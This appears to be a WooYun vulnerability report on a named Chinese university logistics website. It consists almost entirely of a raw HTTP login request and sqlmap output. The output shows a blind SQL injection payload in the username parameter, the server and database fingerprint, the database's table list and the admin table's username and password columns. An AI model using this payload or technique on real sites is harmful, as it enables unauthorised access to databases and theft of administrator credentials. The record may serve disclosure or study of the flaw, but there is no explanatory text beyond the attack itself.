WooYun.org

http://hqbzc.upc.edu.cn/  
中国石油大学（华东）东营校区后勤保障处

POST /room/login.asp?action=pass HTTP/1.1
Content-Length: 101
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://hqbzc.upc.edu.cn
Cookie: ASPSESSIONIDAQCQCCQB=LBGLMJLBJJNMPMNABNLNIAHN
Host: hqbzc.upc.edu.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
password=g00dPa%24%24w0rD&username=-1

qlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)
    Payload: password=g00dPa$$w0rD&username=-6927' OR 1015=1015%16
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
[6 tables]
+------------+
| admin      |
| adv        |
| article    |
| content    |
| guestbook  |
| indexation |
+------------+

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (Microsoft Access comment)
    Payload: password=g00dPa$$w0rD&username=-6927' OR 1015=1015%16
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft Access
Database: Microsoft_Access_masterdb
Table: admin
[5 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| classid  | numeric     |
| id       | numeric     |
| password | non-numeric |
| type     | numeric     |
| username | non-numeric |
+----------+-------------+